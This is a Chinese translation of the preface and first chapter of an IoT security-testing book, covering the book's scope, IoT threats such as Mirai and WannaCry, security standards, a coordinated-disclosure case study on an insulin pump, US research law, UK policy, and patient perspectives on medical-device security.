IOT-黑客实践指南-全-
IOT 黑客实践指南(全)
原文:
zh.annas-archive.org/md5/143f8e2716aa8a6dde060e798cd62dc4译者:飞龙
前言

我们对连接技术的依赖正在以比我们保护它的能力更快的速度增长。那些我们知道存在漏洞的技术,暴露在计算机系统和企业中的事故和对抗中,如今正推动我们工作、提供患者护理并监控我们的家园。我们如何能将对这些设备的信任与它们固有的不可信性调和起来?
网络安全分析师 Keren Elazari 曾说过,黑客是“数字时代的免疫系统”。我们需要具有技术思维的人,来识别、报告并保护社会免受互联网连接世界带来的危害。这项工作比以往任何时候都更加重要,但具备必要心态、技能和工具的人却寥寥无几。
本书旨在增强社会的免疫系统,更好地保护我们所有人。
本书的方法
物联网黑客领域范围广泛,本书采用实践方法来探讨这个话题。我们专注于那些能让你快速入门并测试实际物联网系统、协议和设备的概念和技术。我们特别选择了那些价格适中且易于获得的工具和易受攻击的设备,您可以通过这些工具自行进行实践。
我们还创建了自定义的代码示例和概念验证利用程序,您可以从本书网站 nostarch.com/practical-iot-hacking/ 下载。部分练习还附带虚拟机,以便您能够轻松设置目标。在某些章节中,我们还引用了流行的开源示例,您可以轻松地在线找到。
实用物联网黑客 不是一本关于物联网黑客工具的指南,也没有涵盖物联网安全的所有方面,因为这些话题需要更大的书籍来覆盖,那样的书籍将太笨重,不便阅读。相反,我们探索了最基础的硬件黑客技术,包括与 UART、I²C、SPI、JTAG 和 SWD 的接口。我们分析了多种物联网网络协议,重点关注那些不仅重要,而且在其他出版物中没有广泛覆盖的协议。这些协议包括 UPnP、WS-Discovery、mDNS、DNS-SD、RTSP/RTCP/RTP、LoRa/LoRaWAN、Wi-Fi 和 Wi-Fi Direct、RFID 和 NFC、BLE、MQTT、CDP 和 DICOM。我们还讨论了我们在过去的专业测试工作中遇到的真实案例。
本书适合谁阅读
没有两个人拥有完全相同的背景和经验。然而,分析物联网设备需要跨越几乎每个领域的技能,因为这些设备将计算能力和连接性融入到我们世界的各个方面。我们无法预测每个人会对本书的哪些部分产生最强烈的兴趣。但我们相信,将这些知识提供给广泛的群体,将赋予他们在日益数字化的世界中更大的控制力。
我们为黑客(有时被称为安全研究员)撰写了本书,尽管我们期望它对其他人也有用,例如以下个人:
-
一个安全研究员可能会将本书作为参考,以实验物联网生态系统中的陌生协议、数据结构、组件和概念。
-
一个企业系统管理员或网络工程师可能会学习如何更好地保护他们的环境和组织的资产。
-
一个产品经理为物联网设备可能会发现客户将假定已经存在的新需求,并构建它们,从而降低成本并缩短产品达到市场所需的时间。
-
一个安全评估员可能会发现一套新技能,更好地为他们的客户服务。
-
一个好奇的学生可能会发现一些知识,将他们推向保护人们的有益职业生涯。
本书假设读者已经对 Linux 命令行基础、TCP/IP 网络概念和编码有一些了解。虽然这些不是跟随本书的必需条件,您也可以参考补充的硬件黑客材料,例如 Colin O’Flynn 和 Jasper van Woudenberg 的硬件黑客手册(No Starch Press,即将推出)。我们在某些章节推荐了额外的书籍。
Kali Linux
本书中的大部分练习使用 Kali Linux,这是最流行的用于渗透测试的 Linux 发行版。Kali 配备各种命令行工具,我们在使用它们时会详细解释。尽管如此,如果您对操作系统不熟悉,我们建议阅读 OccupyTheWeb 的Linux 基础知识(No Starch Press,2019 年)并探索kali.org/的材料,包括其免费课程kali.training/。
要安装 Kali,请按照www.kali.org/docs/installation/的说明进行. 无论你使用的版本如何,只要保持最新即可,但请记住,我们测试了 2019 年到 2020 年之间滚动版 Kali 版本中的大部分练习。如果您在安装特定工具时遇到问题,可以尝试在old.kali.org/kali-images/上尝试旧版本的 Kali 镜像。新版本的 Kali 默认情况下不会安装所有工具,但您可以通过kali-linux-large元包添加它们。在终端中输入以下命令以安装该元包:
$ **sudo apt install kali-linux-large**
我们还建议在虚拟机中使用 Kali。详细的说明在 Kali 网站上,各种在线资源描述了如何使用 VMware、VirtualBox 或其他虚拟化技术来进行这样的操作。
本书的组织结构
本书共有 15 章,分为五个部分。大部分章节彼此独立,但你可能会在后面的章节中遇到之前章节介绍的工具或概念。因此,虽然我们编写本书时尽量使大多数章节自成一体,我们还是建议按顺序阅读本书。
第一部分:物联网威胁概述
-
第一章:物联网安全世界通过描述物联网安全的重要性以及物联网黑客的特殊性,为本书的其余部分奠定了基础。
-
第二章:威胁建模讨论了如何在物联网系统中应用威胁建模,并通过分析一个药物注射泵及其组件的威胁模型,介绍了常见的物联网威胁。
-
第三章:安全测试方法论提出了一个强大的框架,用于对物联网系统的所有层级进行全面的手动安全评估。
第二部分:网络黑客
-
第四章:网络评估讨论了如何在物联网网络中执行 VLAN 跳跃,识别网络上的物联网设备,以及通过创建 Ncrack 模块攻击 MQTT 认证。
-
第五章:网络协议分析提供了一种处理不熟悉的网络协议的方法,并介绍了 Wireshark 解码器和 Nmap 脚本引擎模块的开发过程,针对 DICOM 协议。
-
第六章:利用零配置网络探讨了用于自动化部署和配置物联网系统的网络协议,展示了针对 UPnP、mDNS、DNS-SD 和 WS-Discovery 的攻击。
第三部分:硬件黑客
-
第七章:UART、JTAG 和 SWD 利用介绍了 UART 和 JTAG/SWD 的内部工作原理,解释了如何枚举 UART 和 JTAG 引脚,并通过 UART 和 SWD 攻击 STM32F103 微控制器。
-
第八章:SPI 和 I²C探讨了如何利用这两种总线协议和各种工具攻击嵌入式物联网设备。
-
第九章:固件黑客展示了如何获取、提取和分析后门固件,并检查固件更新过程中常见的漏洞。
第四部分:无线电黑客
-
第十章:短距无线电:RFID 滥用展示了多种针对 RFID 系统的攻击,例如如何读取和克隆访问卡。
-
第十一章:蓝牙低功耗展示了如何通过简单的练习攻击蓝牙低功耗协议。
-
第十二章:中距无线电:Wi-Fi 黑客讨论了针对无线客户端的 Wi-Fi 关联攻击,Wi-Fi Direct 滥用方法,以及针对接入点的常见 Wi-Fi 攻击。
-
第十三章:长距无线电:LPWAN通过展示如何捕获和解码这类数据包并讨论常见的攻击方式,提供了对 LoRa 和 LoRaWAN 协议的基本介绍。
第五部分:物联网生态系统攻击
-
第十四章:攻击移动应用回顾了常见的威胁、安全问题,以及在 Android 和 iOS 平台上测试移动应用的技术。
-
第十五章:黑客入侵智能家居通过描述绕过智能门锁、干扰无线报警系统和回放 IP 摄像头视频流的技术,将本书中的许多理念生动地呈现出来。该章节的高潮是通过一个现实世界的示例,展示如何控制智能跑步机。
-
物联网黑客工具列出了用于实际物联网黑客的流行工具,包括我们讨论的工具以及一些虽然本书未涉及,但仍然有用的工具。
联系方式
我们始终欢迎收到反馈,并愿意回答您可能有的任何问题。您可以通过errata@nostarch.com通知我们您发现的错误,或通过ithilgore@sock-raw.org提供一般反馈。
第一部分
物联网威胁 landscape
第一章:物联网安全的世界

从你公寓楼的屋顶上,你可能被物联网(IoT)所包围。在楼下的街道上,每小时都有数百辆“轮子上的电脑”驶过,每辆车都由传感器、处理器和网络设备组成。在天际线处,公寓楼上布满了各种天线和卫星接收器,将许多个人助手、智能微波炉和学习型恒温器连接到互联网。头顶上,移动数据中心以每小时数百英里的速度穿越天空,留下的数据痕迹比它们的尾迹还要厚重。走进一个制造厂、医院或电子商店,你同样会被那些无处不在的联网设备所压倒。
尽管定义差异很大,即使在专家中也是如此,但为了本书的目的,物联网(IoT)指的是那些具备计算能力并能通过网络传输数据的物理设备,但通常不需要人机交互。有些人通过“像计算机,但又不完全是”的方式来描述物联网设备。我们常常将特定的物联网设备称为“智能”——例如,智能微波炉——尽管许多人已经开始质疑这么做的智慧。(参见 Lauren Goode 在The Verge上发表的 2018 年文章《一切都已连接,我们无法回头》)目前看来,物联网的权威定义在短期内难以到来。
对黑客来说,物联网生态系统是一个充满机会的世界:数十亿个互联设备在传输和共享数据,创造了一个巨大的游乐场,供他们 tinkering、制作、利用漏洞以及将这些系统推向极限。在我们深入探讨物联网设备的黑客入侵与安全防护的技术细节之前,本章将向你介绍物联网安全的世界。我们将以三个案例研究结尾,探讨保障物联网设备安全的法律、实践和个人层面。
为什么物联网安全很重要?
你可能听说过这样的统计数据:到 2025 年,将会有数百亿个新的物联网设备问世,全球 GDP 将因此增长数十万亿美元。但那仅仅是我们做对事情,并且这些新设备快速进入市场的情况下。相反,我们看到的是安全、隐私、可靠性等方面的担忧阻碍了设备的普及。安全问题可能与设备的价格一样,成为一个阻碍因素。
物联网行业的缓慢增长不仅是一个经济问题。物联网设备在许多领域有潜力改善人们的生活。2016 年,美国公路上有 37,416 人死亡。根据美国国家公路交通安全管理局的数据,94%的死亡是由人为错误引起的。自动驾驶车辆可以大幅减少这些数字,使我们的道路更加安全,但前提是它们必须值得信赖。
在我们生活的其他领域,我们同样能够从为设备增添更多功能中受益。例如,在医疗领域,能够每日向医生发送数据的心脏起搏器将显著降低心脏病发作导致的死亡。然而,在心脏节律学会的一个座谈会上,一位来自退伍军人事务部的医生表示,她的病人拒绝植入这些设备,因为他们害怕被黑客攻击。许多来自行业、政府和安全研究领域的人士担心,信任危机将会拖延拯救生命的技术,甚至拖延数年或数十年。
当然,随着这些技术与我们的生活日益交织,我们必须知道——而不仅仅是希望——它们值得我们所赋予的信任。在一项由英国政府资助的物联网设备消费者信任调查中,72%的受访者表示,他们认为安全性已经内置。然而,对于大多数物联网行业来说,安全性更多的是事后考虑的附加功能。
2016 年 10 月,Mirai僵尸网络攻击发生,美国联邦政府及世界各国政府纷纷关注此事。这一系列日益升级的攻击通过众所周知的默认密码(如admin、password、1234)将成千上万的低成本设备转为己用。最终,攻击导致了对域名系统(DNS)提供商 Dyn 的分布式拒绝服务攻击(DDoS),该公司是许多美国巨头互联网基础设施的一部分,包括亚马逊、Netflix、Twitter、华尔街日报、星巴克等。客户、收入和声誉在超过八小时内受到了剧烈冲击。
很多人认为这些攻击是由外国国家力量所为。紧随其后,WannaCry和NotPetya攻击在全球造成了数万亿美元的损失,部分原因是它们影响了用于关键基础设施和制造业的物联网系统。它们还让各国政府深刻感受到,在保护公民的责任上,它们明显落后了。WannaCry 和 NotPetya 本质上是勒索病毒攻击,它们利用了 EternalBlue 漏洞,该漏洞利用了微软在实现服务器消息块(SMB)协议时的一个安全漏洞。到 2017 年 12 月,当人们揭露 Mirai 是由几个大学生设计和实施时,全球各国政府已经意识到他们必须检视物联网安全问题的严重性。
物联网安全有三条发展路径:现状可以保持,消费者可以开始将安全性“加装”到默认不安全的设备上,或者制造商可以从一开始就将安全性内建到设备中。在现状情境下,社会将接受由于安全问题而带来的定期损害,认为这是使用物联网设备的必要部分。在后市场安全情境中,新公司将填补设备制造商忽视的空白,而买家最终会为不完全符合需求的安全性支付更多费用。在第三种情境中,制造商将安全性内建于设备中,买家和运营商将更好地解决问题,风险和成本的决策将转向供应链中更高效的点。
我们可以从过去汲取经验,看看这三种情境,特别是最后两种,可能会如何发展。例如,纽约最初的消防逃生通道经常被固定在建筑物外部。因此,根据一篇名为《消防逃生如何变成装饰品》的Atlantic文章,它们通常会增加成本并对居民造成更大的伤害。今天,这些消防逃生通道被建入建筑物内,通常是第一项建设的内容,居民的消防安全比以往任何时候都更有保障。就像建筑物中的消防逃生通道一样,内建于物联网设备中的安全性可以带来新的能力,这些能力是外加安全方式所无法实现的,例如可更新性、强化、安全威胁建模和组件隔离——这些内容你将在本书中看到。
请注意,上述三条发展路径并非互相排斥;物联网市场可以支持这三种情境。
物联网安全与传统 IT 安全有何不同?
IoT 技术与更为熟悉的信息技术(IT)在关键方面有所不同。I Am The Cavalry,一个全球性的草根倡议,在安全研究社区中提供了一种比较两者的教学框架,具体内容如下。
物联网安全失败的后果可能直接导致生命的丧失。它们还可能摧毁公众对公司或更广泛行业的信任,以及对政府通过监管和监督保障公民安全能力的信心。例如,当 WannaCry 攻击爆发时,患有时间敏感性疾病的患者,如中风或心脏病发作的患者,毫无疑问未能得到及时治疗,因为这次攻击导致医疗服务延误了好几天。
攻击这些系统的对手有不同的目标、动机、方法和能力。有些对手可能会尽量避免造成伤害,而其他对手则可能专门攻击物联网系统以造成伤害。例如,医院常常成为勒索的目标,因为对患者的潜在伤害会增加受害者支付赎金的可能性和速度。
物联网设备的组成,包括安全系统,创造了在典型 IT 环境中找不到的约束。例如,心脏起搏器中的大小和功率限制,给应用传统 IT 安全方法(需要大量存储或计算能力)带来了挑战。
物联网设备通常在特定的上下文和环境中运行,例如家庭环境,其中设备由个人控制,而这些个人并没有部署、操作和维护安全的知识或资源。例如,我们不应期望连接汽车的驾驶员安装后续的安全产品,如防病毒保护。我们也不应期望他们具备足够的专业知识或能力在安全事件发生时作出迅速反应。但我们会期望企业能够做到这一点。
物联网制造的经济性驱动设备成本(因此驱动组件成本)降到最低,这通常使得安全成为一个昂贵的事后考虑。此外,这些设备往往面向对价格敏感、缺乏安全选择和部署经验的客户。此外,这些设备的不安全性往往会带来成本,这些成本最终由非主要设备拥有者或操作员承担。例如,Mirai 僵尸网络利用了嵌入芯片固件中的硬编码密码来传播。大多数设备拥有者并不知道他们应该更改密码,或者不知道如何更改。Mirai 通过攻击一家不拥有任何受影响设备的第三方 DNS 供应商,给美国经济带来了数十亿美元的损失。
物联网设计、开发、实施、操作和退役的时间尺度通常以几十年为单位来衡量。响应时间也可能因为组成、上下文和环境的不同而延长。例如,电厂中的连接设备通常预计能使用超过 20 年而无需更换。但针对乌克兰能源供应商的攻击仅在对工业控制基础设施采取行动后的几秒钟内就造成了停运。
物联网黑客攻击有什么特别之处?
由于物联网安全与传统 IT 安全在许多方面存在显著差异,因此攻击物联网系统也需要不同的技术。物联网生态系统通常由嵌入式设备和传感器、移动应用程序、云基础设施和网络通信协议组成。这些协议包括 TCP/IP 网络堆栈中的协议(例如 mDNS、DNS-SD、UPnP、WS-Discovery 和 DICOM),以及用于短程无线(如 NFC、RFID、蓝牙和 BLE)、中程无线(如 Wi-Fi、Wi-Fi Direct 和 Zigbee)和长程无线(如 LoRa、LoRaWAN 和 Sigfox)的协议。
与传统的安全测试不同,物联网安全测试需要你检查并经常拆解设备硬件,处理在其他环境中通常不会遇到的网络协议,分析控制设备的移动应用程序,并检查设备如何通过应用程序接口(API)与托管在云端的 Web 服务进行通信。我们将在接下来的章节中详细解释所有这些任务。
让我们来看一个智能门锁的例子。图 1-1 展示了智能锁系统的常见架构。智能锁通过蓝牙低能耗(BLE)与用户的智能手机应用进行通信,而应用通过 HTTPS 上的 API 与云端的智能锁服务器进行通信。在这个网络设计中,智能锁依赖于用户的移动设备来连接互联网,以便接收来自云端服务器的任何消息。

图 1-1:智能锁系统的网络结构图
这三个组件(智能锁设备、智能手机应用和云服务)相互互动并信任对方,从而形成一个暴露较大攻击面物联网系统。试想一下,当你撤销使用此智能锁系统的 Airbnb 客人的数字钥匙时会发生什么。作为公寓和智能锁设备的所有者,你的手机应用被授权向云服务发送取消客人用户钥匙的消息。当然,你可能根本不在公寓或锁旁边。服务器接收到撤销更新后,会向智能锁发送一个特殊的消息来更新其访问控制列表(ACL)。如果恶意客人仅仅将他们的手机设置为飞行模式,智能锁就无法将其用作接收来自服务器的状态更新的中继,客人仍然能够进入你的公寓。
我们刚才描述的这种简单的撤销规避攻击,揭示了你在破解物联网系统时可能遇到的漏洞类型。此外,使用小型、低功耗、低成本嵌入式设备所带来的限制,只会增加这些系统的不安全性。例如,物联网设备通常不使用资源密集的公钥密码学,而是仅依赖对称密钥来加密其通信通道。这些加密密钥往往是非唯一的,且硬编码在固件或硬件中,这意味着攻击者可以提取这些密钥,然后在其他设备中重复使用。
框架、标准和指南
处理这些安全问题的标准方法是实施,嗯,标准。在过去的几年里,许多框架、指南和其他文档尝试解决物联网系统中安全性和信任问题的不同方面。虽然标准旨在将行业凝聚在公认的最佳实践周围,但标准过多导致了一个支离破碎的局面,这表明人们对于如何做事情存在广泛的分歧。然而,我们可以从研究各种标准和框架中汲取许多价值,即使我们认识到对于如何确保物联网设备安全的最佳方法并没有达成共识。
首先,我们可以将那些指导设计的文档与那些管理操作的文档区分开。二者是相互关联的,因为设备的设计能力会被操作员用来保护他们的环境。反过来也成立:许多在设备设计中没有的能力在操作中是无法实现的,比如安全软件更新、法证有效的证据捕获、设备内隔离和分段以及安全失败状态等。采购指南文件,通常由公司、行业协会或政府发布,可以帮助桥接这两类文档。
第二,我们可以区分框架和标准。框架定义了可实现目标的类别,而标准则定义了实现这些目标的过程和规范。两者都很有价值,但框架更具长久性且广泛适用,因为安全标准通常老化较快,并且在特定用例中效果最佳。另一方面,一些标准非常有用,并且构成了物联网技术的核心组件,比如用于互操作性的标准,如 IPv4 和 Wi-Fi。因此,框架和标准的结合可以有效地治理技术领域。
在本书中,我们会根据需要参考框架和标准,以便为设计师和操作员提供关于如何解决安全研究人员在使用我们概述的工具、技术和流程时发现的问题的指导。以下是一些标准、指南文件和框架的示例:
-
标准 欧洲电信标准化协会(ETSI)成立于 1988 年,每年创建超过 2000 项标准。其《消费物联网的网络安全技术规范》详细规定了如何安全地构建物联网设备。美国国家标准与技术研究院(NIST)和国际标准化组织(ISO)发布了几项支持物联网设备安全的标准。
-
框架 "I Am The Cavalry"成立于 2013 年,是一个由安全研究社区成员组成的全球草根倡议。其《连接医疗设备的希波克拉底誓言》(图 1-2)描述了设计和开发医疗设备的目标和能力。许多内容已被纳入 FDA 批准医疗设备的监管标准。其他框架包括 NIST 网络安全框架(适用于拥有和运营物联网设备)、思科的物联网安全框架以及云安全联盟的物联网安全控制框架等。
-
指导文档 开放 Web 应用安全项目(OWASP)自 2001 年启动以来,已远远超出了其原名的范围。其 Top 10 列表已成为软件开发人员和 IT 采购的强大工具,并被用来提高各种项目的安全级别。2014 年,其物联网项目(图 1-3)发布了第一个 Top 10 列表。最新版本(截至本文写作时)来自 2018 年。其他指导文档包括 NIST 物联网核心基准、NTIA 物联网安全可升级性和修补资源、ENISA 物联网安全基准建议、GSMA 物联网安全指南和评估以及物联网安全基金会最佳实践指南等。

图 1-2:连接医疗设备的希波克拉底誓言,物联网框架

图 1-3:OWASP 物联网十大风险,指导文档
案例研究:发现、报告和披露物联网安全问题
尽管本书的大部分内容详细介绍了技术方面的考虑,但你仍需理解一些影响物联网(IoT)安全研究的其他因素。这些因素是通过长期从事该领域的工作所学到的,涉及到在披露漏洞时必须做出的权衡,以及研究人员、制造商和公众在披露时应考虑的事项。以下案例研究概述了一个成功结束的物联网安全研究项目,我们将突出展示其成功的原因和方式。
2016 年,安全研究员兼 1 型糖尿病患者 Jay Radcliffe 发现并报告了 Animas OneTouch Ping 胰岛素泵的三个安全问题给制造商。他的工作始于前几个月,当时他购买了设备,建立了测试实验室,并识别出潜在威胁进行测试。此外,他还寻求了法律建议,以确保他的测试符合国家和地方的法律规定。
Jay 的主要目标是保护患者,因此他通过制造商的协调漏洞披露政策报告了该漏洞。通过电子邮件、电话和面对面的交流,Jay 解释了技术细节、问题的影响及其缓解步骤。这个过程持续了几个月,在此期间,他展示了漏洞的利用方法,并提供了概念验证代码。
那年晚些时候,当 Jay 了解到制造商没有计划在发布新版本硬件之前进行任何技术修复时,他发布了公开披露,内容包括以下回应:“如果我的任何孩子患上糖尿病,且医疗人员建议给他们使用泵,我不会犹豫地给他们使用 OneTouch Ping。它不是完美的,但没有什么是完美的。”请见 blog.rapid7.com/2016/10/04/r7-2016-07-multiple-vulnerabilities-in-animas-onetouch-ping-insulin-pump/ 以查看完整披露。
Jay 已经花费近一年时间寻找漏洞并解决问题。在制造商通知受影响的患者后,他原计划在一个重要会议上展示他的工作。许多患者依赖邮寄方式接收此类信息,但不幸的是,邮件在他演讲后才会到达。Jay 做出了一个艰难的决定,取消了会议上的演讲,以便患者能够通过他们的医生或公司了解这一问题,而不是通过新闻文章得知。
你可以从像 Jay 这样的成熟安全研究员的实例中学到几个教训:
-
他们考虑自己发现对相关人员的影响。Jay 的准备工作不仅涉及获取法律意见,还确保他的测试不会对实验室外的人造成影响。此外,他确保患者从他们信任的人那里了解这些问题,减少了他们恐慌或停止使用这种救命技术的可能性。
-
它们更多的是提供信息,而非替代决策。Jay 明白制造商将较少的资源投入到修复旧设备上,而是专注于开发新产品,以便挽救和改善更多生命。Jay 没有要求设备制造商修补这些旧的易受攻击的设备,而是尊重他们的判断。
-
他们以身作则。Jay 和许多其他医疗领域的研究员建立了长期的患者、监管机构、医生和制造商关系。在许多情况下,这意味着放弃公开认可和有偿项目,并且需要极大的耐心。但结果证明一切。领先的设备制造商正在生产史上最安全的医疗设备,同时在像 DEF CON 的 Biohacking Village 等活动中与安全研究社区保持互动。
-
他们了解法律。安全研究员几十年来一直面临法律威胁。其中一些是无理的,其他则不然。尽管专家们仍在努力为协调披露和漏洞奖励计划制定标准化语言,但研究员们很少,甚至几乎从未因在这些计划内披露而面临法律后果。
专家观点:应对物联网的挑战
我们联系了几位公认的法律和公共政策专家,帮助读者了解那些在黑客书籍中通常未涉及的主题。Harley Geiger 讨论了两部与美国安全研究人员相关的法律,而 David Rogers 则介绍了英国在提升物联网设备安全方面正在进行的努力。
物联网黑客法律
Harley Geiger,Rapid7 公共政策总监
可以说,影响物联网研究的两部最重要的联邦法律是《数字千年版权法》(DMCA)和《计算机欺诈与滥用法》(CFAA)。让我们快速了解这两部残酷的法规。
许多物联网安全研究涉及绕过软件的弱保护措施,但《数字千年版权法》通常禁止绕过技术保护措施(TPMs),例如加密、身份验证要求和地区编码,来访问受版权保护的作品(如软件),未经版权持有者的许可。这意味着研究人员在进行物联网安全研究之前需要获得物联网软件制造商的许可——即使是你自己拥有的设备也不例外! 幸运的是,针对诚信安全测试有一个特定的例外,允许安全研究人员绕过 TPM 而无需版权持有者的许可。国会图书馆馆长在安全研究社区及其盟友的请求下批准了这一例外。自 2019 年起,为了在《数字千年版权法》下获得法律保护,研究必须满足以下基本条件:
-
研究必须基于合法获得的设备(例如,计算机所有者授权的设备)。
-
研究必须仅为测试或修正安全漏洞的目的进行。
-
研究必须在一个旨在避免危害的环境中进行(因此,不能在核电厂或拥挤的高速公路上进行)。
-
从研究中获得的信息必须主要用于促进设备、计算机或其用户的安全性(例如,不能主要用于盗版)。
-
研究不得违反其他法律,例如(但不限于)《计算机欺诈与滥用法》(CFAA)。
有两个例外,但只有一个提供真正的保护。这个更强的例外每三年必须由国会图书馆馆长重新批准,而且在重新批准时,保护的范围可能会发生变化。通过这一过程,许多最具进步性的安全研究法律保护成果得以实现。最新的 2018 版《数字千年版权法》安全测试例外见于www.govinfo.gov/content/pkg/FR-2018-10-26/pdf/2018-23241.pdf#page=17/。
CFAA 也经常被提及;正如你刚刚看到的,它在 DMCA 下的安全测试保护中被引用。CFAA 是美国最重要的联邦反黑客法律,且与 DMCA 不同,该法律目前并未直接保护安全测试。但 CFAA 通常适用于未经计算机所有者授权而访问或破坏他人计算机(而不是像 DMCA 那样针对软件版权的所有者)。那么,如果你被授权使用某个物联网设备(例如,由雇主或学校授权),但你的物联网研究超出了这个授权范围怎么办?法院仍在为此争论中。欢迎进入 CFAA 的法律灰色地带,顺便说一下,该法律已经实施了 30 多年。尽管如此,如果你正在访问或破坏你拥有或经计算机所有者授权进行研究的物联网设备,那么在 DMCA 和 CFAA 下,你更可能是合法的。恭喜!
等等!还有许多其他法律可能会涉及物联网安全研究,尤其是州级反黑客法律,这些法律可能比 CFAA 更广泛、更模糊。(有趣的事实:华盛顿州的黑客法律专门为“白帽黑客”提供法律保护。)关键是,不要因为你没有违反 DMCA 或 CFAA 就假设你的物联网安全研究是完全合法的——虽然这当然是一个很好的开始!
如果你觉得这些法律保护让人困惑或令人畏惧,你并不孤单。这些法律复杂,甚至让律师和当选官员都感到困惑,但目前有一个坚定且日益增长的努力,旨在澄清并加强对安全研究的法律保护。你在应对那些阻碍宝贵物联网安全研究的模糊法律时的声音和经验,将为关于改革 DMCA、CFAA 及其他法律的持续辩论提供有益的贡献。
政府在物联网安全中的作用
Copper Horse Security 的首席执行官 David Rogers,英国《实践规范》作者,英国帝国勋章(MBE)获得者,因其对网络安全的贡献而获此殊荣
政府承担着保护社会的艰巨任务,同时又要促进经济繁荣。尽管世界各国政府因担心扼杀创新而对物联网安全保持谨慎态度,但像 Mirai 僵尸网络、WannaCry 和 NotPetya 这样的事件促使立法者和监管机构重新思考其放任不管的态度。
其中一个政府努力是英国的《行为准则》。该准则首次发布于 2018 年 3 月,旨在使英国成为世界上最安全的在线生活和商业场所。国家意识到物联网生态系统具有巨大的潜力,但也存在巨大的风险,因为制造商未能保护消费者和公民。2017 年,英国成立了一个由来自各行业、政府和学术界的人组成的专家咨询小组,开始着手解决这个问题。此外,该倡议还咨询了包括“I Am The Cavalry”等组织在内的许多安全研究社区成员。
该准则制定了 13 条指南,作为整体将提升网络安全标准,不仅针对设备,还包括周围的生态系统。它适用于移动应用开发者、云服务提供商、移动网络运营商以及零售商。这种方法将安全负担从消费者转移到了那些在设备生命周期早期能更好解决安全问题的组织。
你可以在www.gov.uk/government/publications/code-of-practice-for-consumer-iot-security/阅读完整的准则。最紧急的事项是前三项:避免默认密码、实施并执行漏洞披露政策、确保设备能够进行软件更新。作者将这些准则描述为不安全的金丝雀;如果一个物联网产品未能遵守这些准则,那么该产品其他部分可能也存在缺陷。
该准则采取了真正的国际化方式,认识到物联网世界及其供应链是全球性问题。该准则得到了全球数十家公司支持,并于 2019 年 1 月被 ETSI 采纳为 ETSI 技术规范 103 645。
欲了解更多关于物联网安全的具体政府政策,请参阅 I Am The Cavalry 物联网网络安全政策数据库,地址为iatc.me/iotcyberpolicydb/。
医疗设备安全的患者视角
设计和开发物联网设备可能迫使制造商做出一些艰难的权衡。那些依赖医疗设备来照顾自己的安全研究人员,比如 Marie Moe 和 Jay Radcliffe,非常清楚这些权衡。
Marie Moe, @mariegmoe, SINTEF
我是一个安全研究人员,同时也是一名患者。我的每一次心跳都由一台医疗设备生成,一颗植入我体内的心脏起搏器。八年前,我醒来时躺在地板上。我摔倒了,因为我的心脏停跳了——停得足够长,导致我昏迷。为了保持脉搏并防止我的心脏停跳,我需要一颗心脏起搏器。这个小设备监测每次心跳,并通过电极将一个小的电信号直接发送到我的心脏,保持它跳动。但是,当我的心脏由专有代码驱动而且没有透明度时,我该如何信任它呢?
当我植入心脏起搏器时,这是一个紧急手术。我需要这个设备才能活下来,因此没有选择不植入的余地。但这是时候提出问题了。令我的医生们惊讶的是,我开始询问关于心脏起搏器软件中潜在的安全漏洞以及黑客攻击这个关乎生命的设备的可能性。答案并不令人满意。我的医疗服务提供者无法回答我关于计算机安全的技术问题;他们中的许多人甚至没有考虑到我体内的这台机器正在运行计算机代码,而来自植入设备制造商的技术信息也非常有限。
所以,我开始了一个黑客项目;在过去的四年里,我了解了更多关于这个保持我生命的设备的安全性。我发现,我对医疗设备网络安全状况的许多担忧确实是正确的。我了解到,采用“安全性通过模糊性”的专有软件,可能掩盖了不良的安全性和隐私实施。我还了解到,老旧技术与增加的连接性相结合,会增加攻击面,从而增加可能影响患者安全的网络安全问题风险。像我这样的安全研究人员,并不是怀着制造恐惧或伤害患者的意图去破解设备。我的动机是希望发现的缺陷得到修复。为此,各方的合作至关重要。
我的愿望是,当我和其他研究人员向医疗设备制造商报告网络安全问题时,他们能认真对待我们,并以患者安全为最大利益行事。
首先,我们需要认识到,网络安全问题可能会导致患者安全问题。对已知漏洞保持沉默或否认其存在,并不能让患者更安全。透明度的努力,例如创建安全无线通信协议的开放标准、发布协调的漏洞披露政策邀请研究人员本着良好的信念报告问题,以及向患者和医生发布网络安全警告,都让我有信心厂商正在认真对待这些问题并努力减轻风险。这使得我和我的医生能够有信心,平衡医疗风险和网络安全副作用与我的个人威胁模型之间的关系。
未来的解决方案是透明度和更好的合作,并充满理解和同理心。
Jay Radcliffe,@jradcliffe02,赛默飞世尔科技
我清晰地记得我被诊断为糖尿病的那一天。那是我 22 岁的生日。我当时表现出典型的 I 型糖尿病症状:极度口渴和体重减轻。那一天改变了我的生活。我是为数不多的几位能说自己因糖尿病诊断而感到幸运的人之一。糖尿病让我接触到了互联医疗设备的世界。我一直喜欢拆解东西并重新组装。对我来说,这只是一种锻炼这些直觉和技能的新方式。拥有一个连接到你身体的设备,控制着生命的重大功能,这种感觉是无法用言语形容的。知道它具有无线连接性并且存在漏洞时,这种不可言喻的感觉又是另一种。每一次有机会帮助让医疗设备更能抵御充满敌意的电子/连接世界,我都心怀感激。这些设备对保持人们健康和生命至关重要。胰岛素泵、心脏起搏器、心血管设备、脊柱刺激器、神经刺激器,以及无数其他设备正在让人们的生活变得更好。
这些设备通常与手机连接,然后再连接到互联网,让医生和看护人员了解患者的健康状况。但连接性伴随着风险。作为安全专业人员,我们的责任是帮助患者和医生理解这些风险,并帮助制造商识别和控制这些风险。尽管过去几十年计算机、连接性和安全性的性质发生了巨大变化,但美国的法定语言在诚信安全研究方面并没有发生显著变化。(请检查你所在地区的法律;它们可能有所不同。)幸运的是,得益于黑客、学者、公司和有见识的政府人员的努力,法规语言、豁免条款和实施细节已经有所改变——而且是朝着更好的方向发展。对安全研究中的法律问题进行全面讨论可能需要几卷由经验丰富的律师编写的干巴巴的内容,因此这不是进行那种讨论的地方。但一般来说,如果你拥有一台设备,在美国进行安全研究是合法的,前提是研究的范围限制在你自己的网络之内。
结论
物联网的前景正在迅速扩展。这些“物品”的数量、种类和用途变化比任何出版截止日期都要快。在你读到这些文字的时候,可能已经出现了我们在这些页面中未曾考虑到的新“物品”。尽管如此,我们仍然确信本书提供了有价值的资源和参考,能够帮助你构建能力,无论在一年或十年后你在实验台上发现了什么。
第二章:威胁建模

威胁建模过程系统地识别可能针对设备的攻击,然后根据其严重性对某些问题进行优先级排序。由于威胁建模可能会显得冗长,因此有时会被忽视。尽管如此,它对于理解威胁、其影响以及你必须采取的适当缓解措施至关重要。
在本章中,我们将带你了解一个简单的威胁建模框架,并讨论几个替代框架。然后,我们简要描述一些物联网基础设施通常遇到的最重要的威胁,帮助你在下次物联网评估中成功运用威胁建模技术。
物联网的威胁建模
